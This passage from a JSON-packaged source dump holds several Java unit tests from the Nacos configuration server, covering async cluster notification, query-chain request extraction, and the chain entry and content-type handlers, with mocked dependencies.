configInfoWrapper2.getGroup(),\n                        configInfoWrapper2.getTenant()));\n        // check if config2 is updated\n        assertEquals(MD5Utils.md5Hex(configInfoWrapperSingle2.getContent(), \"UTF-8\"),\n                contentCache2.getConfigCache().getMd5());\n        assertEquals(configInfoWrapper2.getLastModified(), contentCache2.getConfigCache().getLastModifiedTs());\n        //check disk\n        String contentFromDisk2 = ConfigDiskServiceFactory.getInstance()\n                .getContent(configInfoWrapper2.getDataId(), configInfoWrapper2.getGroup(),\n                        configInfoWrapper2.getTenant());\n        assertEquals(configInfoWrapperSingle2.getContent(), contentFromDisk2);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/notify/AsyncNotifyServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.notify;\n\nimport com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.remote.ConfigClusterRpcClientProxy;\nimport com.alibaba.nacos.config.server.service.notify.AsyncNotifyService.AsyncRpcNotifyCallBack;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.config.server.service.notify.AsyncNotifyService.HEALTHY_CHECK_STATUS;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\n\n/**\n * AsyncNotifyServiceTest.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\nclass AsyncNotifyServiceTest {\n    \n    @Mock\n    ServerMemberManager serverMemberManager;\n    \n    MockedStatic<EnvUtil> envUtilMocked;\n    \n    MockedStatic<ConfigExecutor> configExecutorMocked;\n    \n    MockedStatic<InetUtils> inetUtilsMocked;\n    \n    @Mock\n    private ConfigClusterRpcClientProxy configClusterRpcClientProxy;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMocked = Mockito.mockStatic(EnvUtil.class);\n        configExecutorMocked = Mockito.mockStatic(ConfigExecutor.class);\n        inetUtilsMocked = Mockito.mockStatic(InetUtils.class);\n        inetUtilsMocked.when(InetUtils::getSelfIP).thenReturn(\"127.0.0.1\");\n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMocked.close();\n        inetUtilsMocked.close();\n        configExecutorMocked.close();\n    }\n    \n    @Test\n    void testSyncConfigChangeCallback() {\n        long timeStamp = System.currentTimeMillis();\n        Member member1 = new Member();\n        member1.setIp(\"testip1\" + timeStamp);\n        member1.setState(NodeState.UP);\n        AsyncNotifyService asyncNotifyService = new AsyncNotifyService(serverMemberManager);\n        ReflectionTestUtils.setField(asyncNotifyService, \"configClusterRpcClientProxy\", configClusterRpcClientProxy);\n        String dataId = \"testDataId\" + timeStamp;\n        String group = \"testGroup\";\n        AsyncNotifyService.NotifySingleRpcTask notifySingleRpcTask = new AsyncNotifyService.NotifySingleRpcTask(dataId,\n                group, null, null, 0, member1);\n        configExecutorMocked.when(\n                () -> ConfigExecutor.scheduleAsyncNotify(any(Runnable.class), anyLong(), any(TimeUnit.class)))\n                .thenAnswer(invocation -> null);\n        \n        notifySingleRpcTask.setTag(\"test\");\n        notifySingleRpcTask.setBeta(false);\n        AsyncRpcNotifyCallBack asyncRpcNotifyCallBack = new AsyncRpcNotifyCallBack(asyncNotifyService,\n                notifySingleRpcTask);\n        ConfigChangeClusterSyncResponse successResponse = new ConfigChangeClusterSyncResponse();\n        //1. success response\n        asyncRpcNotifyCallBack.onResponse(successResponse);\n        //2. fail response\n        successResponse.setResultCode(500);\n        asyncRpcNotifyCallBack.onResponse(successResponse);\n        //3. exception\n        asyncRpcNotifyCallBack.onException(new NacosException());\n        \n        // expect schedule twice fail or exception response.\n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleAsyncNotify(any(AsyncNotifyService.AsyncRpcTask.class), anyLong(),\n                        any(TimeUnit.class)), times(2));\n    }\n    \n    /**\n     * test HandleConfigDataChangeEvent. expect create a AsyncRpcTask and execute in ConfigExecutor.\n     */\n    @Test\n    void testHandleConfigDataChangeEvent() {\n        long timeStamp = System.currentTimeMillis();\n        \n        List<Member> memberList = new ArrayList<>();\n        // member1 success\n        Member member1 = new Member();\n        member1.setIp(\"testip1\" + timeStamp);\n        member1.setState(NodeState.UP);\n        memberList.add(member1);\n        // member2 exception\n        Member member2 = new Member();\n        member2.setIp(\"testip2\" + timeStamp);\n        member2.setState(NodeState.UP);\n        memberList.add(member2);\n        // member3 unhealth\n        Member member3 = new Member();\n        member3.setIp(\"testip3\" + timeStamp);\n        member3.setState(NodeState.DOWN);\n        memberList.add(member3);\n        \n        Mockito.when(serverMemberManager.allMembersWithoutSelf()).thenReturn(memberList);\n        \n        configExecutorMocked.when(\n                () -> ConfigExecutor.scheduleAsyncNotify(any(Runnable.class), anyLong(), any(TimeUnit.class)))\n                .thenAnswer(invocation -> null);\n        String dataId = \"testDataId\" + timeStamp;\n        String group = \"testGroup\";\n        AsyncNotifyService asyncNotifyService = new AsyncNotifyService(serverMemberManager);\n        asyncNotifyService.handleConfigDataChangeEvent(\n                new ConfigDataChangeEvent(dataId, group, null, System.currentTimeMillis()));\n        \n        // expect schedule twice fail or exception response.\n        configExecutorMocked.verify(() -> ConfigExecutor.executeAsyncNotify(any(AsyncNotifyService.AsyncRpcTask.class)),\n                times(1));\n        \n    }\n    \n    @Test\n    void testExecuteAsyncRpcTask() throws Exception {\n        long timeStamp = System.currentTimeMillis();\n        String dataId = \"testDataId\" + timeStamp;\n        String group = \"testGroup\";\n        \n        List<Member> memberList = new ArrayList<>();\n        // member1 success\n        Member member1 = new Member();\n        member1.setIp(\"testip1\" + timeStamp);\n        member1.setState(NodeState.UP);\n        memberList.add(member1);\n        // member2 exception\n        Member member2 = new Member();\n        member2.setIp(\"testip2\" + timeStamp);\n        member2.setState(NodeState.UP);\n        memberList.add(member2);\n        // member3 unhealth\n        Member member3 = new Member();\n        member3.setIp(\"testip3\" + timeStamp);\n        member3.setState(NodeState.DOWN);\n        memberList.add(member3);\n        Queue<AsyncNotifyService.NotifySingleRpcTask> rpcQueue = new LinkedList<>();\n        \n        for (Member member : memberList) {\n            // grpc report data change only\n            rpcQueue.add(\n                    new AsyncNotifyService.NotifySingleRpcTask(dataId, group, null, null, System.currentTimeMillis(),\n                            member));\n        }\n        \n        AsyncNotifyService asyncNotifyService = new AsyncNotifyService(serverMemberManager);\n        \n        ReflectionTestUtils.setField(asyncNotifyService, \"configClusterRpcClientProxy\", configClusterRpcClientProxy);\n        Mockito.when(serverMemberManager.allMembersWithoutSelf()).thenReturn(memberList);\n        Mockito.when(serverMemberManager.hasMember(eq(member1.getAddress()))).thenReturn(true);\n        Mockito.when(serverMemberManager.hasMember(eq(member2.getAddress()))).thenReturn(true);\n        Mockito.when(serverMemberManager.hasMember(eq(member3.getAddress()))).thenReturn(true);\n        Mockito.when(serverMemberManager.stateCheck(eq(member1.getAddress()), eq(HEALTHY_CHECK_STATUS)))\n                .thenReturn(true);\n        Mockito.when(serverMemberManager.stateCheck(eq(member2.getAddress()), eq(HEALTHY_CHECK_STATUS)))\n                .thenReturn(true);\n        // mock stateCheck fail before notify member3\n        Mockito.when(serverMemberManager.stateCheck(eq(member3.getAddress()), eq(HEALTHY_CHECK_STATUS)))\n                .thenReturn(false);\n        //mock syncConfigChange exception when notify member2\n        Mockito.doThrow(new NacosException()).when(configClusterRpcClientProxy)\n                .syncConfigChange(eq(member2), any(ConfigChangeClusterSyncRequest.class), any(RequestCallBack.class));\n        configExecutorMocked.when(\n                () -> ConfigExecutor.scheduleAsyncNotify(any(Runnable.class), anyLong(), any(TimeUnit.class)))\n                .thenAnswer(invocation -> null);\n        \n        asyncNotifyService.executeAsyncRpcTask(rpcQueue);\n        \n        Mockito.verify(configClusterRpcClientProxy, times(1))\n                .syncConfigChange(eq(member1), any(ConfigChangeClusterSyncRequest.class), any(RequestCallBack.class));\n        Mockito.verify(configClusterRpcClientProxy, times(1))\n                .syncConfigChange(eq(member2), any(ConfigChangeClusterSyncRequest.class), any(RequestCallBack.class));\n        Mockito.verify(configClusterRpcClientProxy, times(0))\n                .syncConfigChange(eq(member3), any(ConfigChangeClusterSyncRequest.class), any(RequestCallBack.class));\n        \n        //verify scheduleAsyncNotify member2 & member3 in task when syncConfigChange fail\n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleAsyncNotify(any(AsyncNotifyService.AsyncRpcTask.class), anyLong(),\n                        any(TimeUnit.class)), times(2));\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/DefaultChainRequestExtractorTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultChainRequestExtractorTest {\n    \n    @InjectMocks\n    private DefaultChainRequestExtractor defaultChainRequestExtractor;\n    \n    @Mock\n    private HttpServletRequest request;\n    \n    private MockedStatic<RequestUtil> requestUtilMockedStatic;\n    \n    @BeforeEach\n    public void setUp() {\n        requestUtilMockedStatic = Mockito.mockStatic(RequestUtil.class);\n        Mockito.reset(request);\n    }\n    \n    @AfterEach\n    public void tearDown() {\n        requestUtilMockedStatic.close();\n    }\n    \n    @Test\n    public void extractWithAllParametersShouldReturnCorrectConfigQueryChainRequest() {\n        when(request.getParameter(\"dataId\")).thenReturn(\"dataId\");\n        when(request.getParameter(\"group\")).thenReturn(\"group\");\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNamespaceId\");\n        when(request.getParameter(\"tag\")).thenReturn(\"tag\");\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(\"autoTag\");\n        requestUtilMockedStatic.when(() -> RequestUtil.getRemoteIp(request)).thenReturn(\"127.0.0.1\");\n        \n        ConfigQueryChainRequest result = defaultChainRequestExtractor.extract(request);\n        \n        assertEquals(\"dataId\", result.getDataId());\n        assertEquals(\"group\", result.getGroup());\n        assertEquals(\"testNamespaceId\", result.getTenant());\n        assertEquals(\"tag\", result.getTag());\n        assertEquals(\"127.0.0.1\", result.getAppLabels().get(BetaGrayRule.CLIENT_IP_LABEL));\n        assertEquals(\"tag\", result.getAppLabels().get(TagGrayRule.VIP_SERVER_TAG_LABEL));\n    }\n    \n    @Test\n    public void extractWithEmptyTenantShouldReturnCorrectConfigQueryChainRequest() {\n        when(request.getParameter(\"dataId\")).thenReturn(\"dataId\");\n        when(request.getParameter(\"group\")).thenReturn(\"group\");\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"\");\n        when(request.getParameter(\"tag\")).thenReturn(\"tag\");\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(\"autoTag\");\n        requestUtilMockedStatic.when(() -> RequestUtil.getRemoteIp(request)).thenReturn(\"127.0.0.1\");\n        \n        ConfigQueryChainRequest result = defaultChainRequestExtractor.extract(request);\n        \n        assertEquals(\"dataId\", result.getDataId());\n        assertEquals(\"group\", result.getGroup());\n        assertEquals(\"\", result.getTenant());\n        assertEquals(\"tag\", result.getTag());\n        assertEquals(\"127.0.0.1\", result.getAppLabels().get(BetaGrayRule.CLIENT_IP_LABEL));\n        assertEquals(\"tag\", result.getAppLabels().get(TagGrayRule.VIP_SERVER_TAG_LABEL));\n    }\n    \n    @Test\n    public void extractWithEmptyTagAndAutoTagShouldReturnCorrectConfigQueryChainRequest() {\n        when(request.getParameter(\"dataId\")).thenReturn(\"dataId\");\n        when(request.getParameter(\"group\")).thenReturn(\"group\");\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNamespaceId\");\n        when(request.getParameter(\"tag\")).thenReturn(\"\");\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(\"\");\n        requestUtilMockedStatic.when(() -> RequestUtil.getRemoteIp(request)).thenReturn(\"127.0.0.1\");\n        \n        ConfigQueryChainRequest result = defaultChainRequestExtractor.extract(request);\n        \n        assertEquals(\"dataId\", result.getDataId());\n        assertEquals(\"group\", result.getGroup());\n        assertEquals(\"testNamespaceId\", result.getTenant());\n        assertEquals(\"\", result.getTag());\n        assertEquals(\"127.0.0.1\", result.getAppLabels().get(BetaGrayRule.CLIENT_IP_LABEL));\n        assertNull(result.getAppLabels().get(TagGrayRule.VIP_SERVER_TAG_LABEL));\n    }\n    \n    @Test\n    public void extractWithAutoTagShouldReturnCorrectConfigQueryChainRequest() {\n        when(request.getParameter(\"dataId\")).thenReturn(\"dataId\");\n        when(request.getParameter(\"group\")).thenReturn(\"group\");\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNamespaceId\");\n        when(request.getParameter(\"tag\")).thenReturn(\"\");\n        when(request.getHeader(VIPSERVER_TAG)).thenReturn(\"autoTag\");\n        when(RequestUtil.getRemoteIp(request)).thenReturn(\"127.0.0.1\");\n        \n        ConfigQueryChainRequest result = defaultChainRequestExtractor.extract(request);\n        \n        assertEquals(\"dataId\", result.getDataId());\n        assertEquals(\"group\", result.getGroup());\n        assertEquals(\"testNamespaceId\", result.getTenant());\n        assertEquals(\"\", result.getTag());\n        assertEquals(\"127.0.0.1\", result.getAppLabels().get(BetaGrayRule.CLIENT_IP_LABEL));\n        assertEquals(\"autoTag\", result.getAppLabels().get(TagGrayRule.VIP_SERVER_TAG_LABEL));\n    }\n    \n    @Test\n    public void extractWithConfigQueryRequestShouldReturnCorrectConfigQueryChainRequest() {\n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(\"dataId\");\n        configQueryRequest.setGroup(\"group\");\n        configQueryRequest.setTenant(\"tenant\");\n        configQueryRequest.setTag(\"tag\");\n        \n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        ConfigQueryChainRequest result = defaultChainRequestExtractor.extract(configQueryRequest, requestMeta);\n        \n        assertEquals(\"dataId\", result.getDataId());\n        assertEquals(\"group\", result.getGroup());\n        assertEquals(\"tenant\", result.getTenant());\n        assertEquals(\"tag\", result.getTag());\n        assertEquals(\"127.0.0.1\", result.getAppLabels().get(BetaGrayRule.CLIENT_IP_LABEL));\n        assertEquals(\"tag\", result.getAppLabels().get(TagGrayRule.VIP_SERVER_TAG_LABEL));\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/handler/ConfigChainEntryHandlerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigChainEntryHandlerTest {\n    \n    @InjectMocks\n    private ConfigChainEntryHandler configChainEntryHandler;\n    \n    private MockedStatic<GroupKey2> mockedStaticGroupKey2;\n    \n    private MockedStatic<ConfigCacheService> mockedStaticConfigCacheService;\n    \n    @Mock\n    private ConfigQueryHandler nextHandler;\n    \n    @Mock\n    private CacheItem cacheItem;\n    \n    @BeforeEach\n    public void setUp() {\n        mockedStaticGroupKey2 = Mockito.mockStatic(GroupKey2.class);\n        mockedStaticConfigCacheService = Mockito.mockStatic(ConfigCacheService.class);\n        configChainEntryHandler.setNextHandler(nextHandler);\n    }\n    \n    @AfterEach\n    public void tearDown() {\n        mockedStaticGroupKey2.close();\n        mockedStaticConfigCacheService.close();\n    }\n    \n    @Test\n    public void handleLockSuccessAndCacheItemNotNullShouldInvokeNextHandler() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        String groupKey = \"groupKey\";\n        mockedStaticGroupKey2.when(() -> GroupKey2.getKey(anyString(), anyString(), anyString())).thenReturn(groupKey);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.tryConfigReadLock(groupKey)).thenReturn(1);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.getContentCache(groupKey)).thenReturn(cacheItem);\n        \n        ConfigQueryChainResponse nextResponse = new ConfigQueryChainResponse();\n        nextResponse.setResultCode(200);\n        when(nextHandler.handle(request)).thenReturn(nextResponse);\n        ConfigQueryChainResponse response = configChainEntryHandler.handle(request);\n        \n        assertEquals(200, response.getResultCode());\n        verify(nextHandler, times(1)).handle(request);\n    }\n    \n    @Test\n    public void handleLockSuccessAndCacheItemNullShouldReturnNotFound() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        String groupKey = \"groupKey\";\n        mockedStaticGroupKey2.when(() -> GroupKey2.getKey(anyString(), anyString(), anyString())).thenReturn(groupKey);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.tryConfigReadLock(groupKey)).thenReturn(1);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.getContentCache(groupKey)).thenReturn(null);\n        \n        ConfigQueryChainResponse response = configChainEntryHandler.handle(request);\n        \n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND, response.getStatus());\n        verify(nextHandler, never()).handle(any());\n    }\n    \n    @Test\n    public void handleLockFailureShouldReturnConflict() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        String groupKey = \"groupKey\";\n        mockedStaticGroupKey2.when(() -> GroupKey2.getKey(anyString(), anyString(), anyString())).thenReturn(groupKey);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.tryConfigReadLock(groupKey)).thenReturn(-1);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.getContentCache(groupKey)).thenReturn(cacheItem);\n        \n        ConfigQueryChainResponse response = configChainEntryHandler.handle(request);\n        \n        assertEquals(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_QUERY_CONFLICT, response.getStatus());\n        verify(nextHandler, never()).handle(any());\n    }\n    \n    @Test\n    public void handleLockSuccessAndNextHandlerNullShouldReturnEmptyResponse() throws IOException {\n        configChainEntryHandler.setNextHandler(null);\n        \n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(\"dataId\");\n        request.setGroup(\"group\");\n        request.setTenant(\"tenant\");\n        \n        String groupKey = \"groupKey\";\n        mockedStaticGroupKey2.when(() -> GroupKey2.getKey(anyString(), anyString(), anyString())).thenReturn(groupKey);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.tryConfigReadLock(groupKey)).thenReturn(1);\n        mockedStaticConfigCacheService.when(() -> ConfigCacheService.getContentCache(groupKey)).thenReturn(cacheItem);\n        \n        ConfigQueryChainResponse response = configChainEntryHandler.handle(request);\n        assertNull(response.getStatus());\n        verify(nextHandler, never()).handle(any());\n    }\n    \n    @Test\n    public void testGetName() {\n        assertEquals(\"chainEntryHandler\", configChainEntryHandler.getName());\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/handler/ConfigContentTypeHandlerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.enums.FileTypeEnum;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigContentTypeHandlerTest {\n    \n    private ConfigContentTypeHandler configContentTypeHandler = new ConfigContentTypeHandler();\n    \n    @Mock\n    private ConfigQueryHandler nextHandler;\n    \n    @BeforeEach\n    public void setUp() {\n        configContentTypeHandler.setNextHandler(nextHandler);\n    }\n    \n    @Test\n    public void handleConfigNotFoundReturnsSameResponse() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        \n        when(nextHandler.handle(request)).thenReturn(response);\n        \n        ConfigQueryChainResponse actualResponse = configContentTypeHandler.handle(request);\n        \n        assertEquals(response, actualResponse);\n    }\n    \n    @Test\n    public void handleSpecialTagConfigNotFoundReturnsSameResponse() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND);\n        \n        when(nextHandler.handle(request)).thenReturn(response);\n        \n        ConfigQueryChainResponse actualResponse = configContentTypeHandler.handle(request);\n        \n        assertEquals(response, actualResponse);\n    }\n    \n    @Test\n    public void handleContentTypeIsNullDefaultsToText() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        \n        when(nextHandler.handle(request)).thenReturn(response);\n        \n        ConfigQueryChainResponse actualResponse = configContentTypeHandler.handle(request);\n        \n        assertEquals(FileTypeEnum.TEXT.getContentType(), actualResponse.getContentType());\n    }\n    \n    @Test\n    public void handleContentTypeIsNotNullSetsCorrectContentType() throws IOException {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        response.setContentType(FileTypeEnum.JSON.name());\n        \n        when(nextHandler.handle(request)).thenReturn(response);\n        \n        ConfigQueryChainResponse actualResponse = configContentTypeHandler.handle(request);\n        \n        assertEquals(FileTypeEnum.JSON.getContentType(), actualResponse.getContentType());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/query/handler/FormalHandlerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCache;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass FormalHandlerTest {\n    \n    @InjectMocks\n    private FormalHandler formalHandler;\n    \n    private MockedStatic<ConfigDiskServiceFactory> configDiskServiceFactoryMockedStatic;\n    \n    private MockedStatic<ConfigChainEntryHandler> configChainEntryHandlerMockedStatic;\n    \n    @Mock\n    private ConfigDiskService configDiskService;\n    \n    @Mock\n    private CacheItem cacheItem;\n    \n    @Mock\n    private ConfigCache configCache;\n    \n    @BeforeEach\n    public void setUp() throws IOException {\n        configDiskServiceFactoryMockedStatic = Mockito.mockStatic(ConfigDiskServiceFactory.class);\n        configChainEntryHandlerMockedStatic = Mockito.mockStatic(ConfigChainEntryHandler.class);\n        configChainEntryHandlerMockedStatic.when(ConfigChainEntryHandler::getThreadLocalCacheItem)\n                .thenReturn(cacheItem);\n        configDiskServiceFactoryMockedStatic.when(ConfigDiskServiceFactory::getInstance).thenReturn(configDiskService);\n    }\n    \n    @AfterEach\n    public void tearDown() {\n        configDiskServiceFactoryMockedStatic.close();\n        configChainEntryHandlerMockedStatic.close();\n    }\n    \n    @Test\n    public void 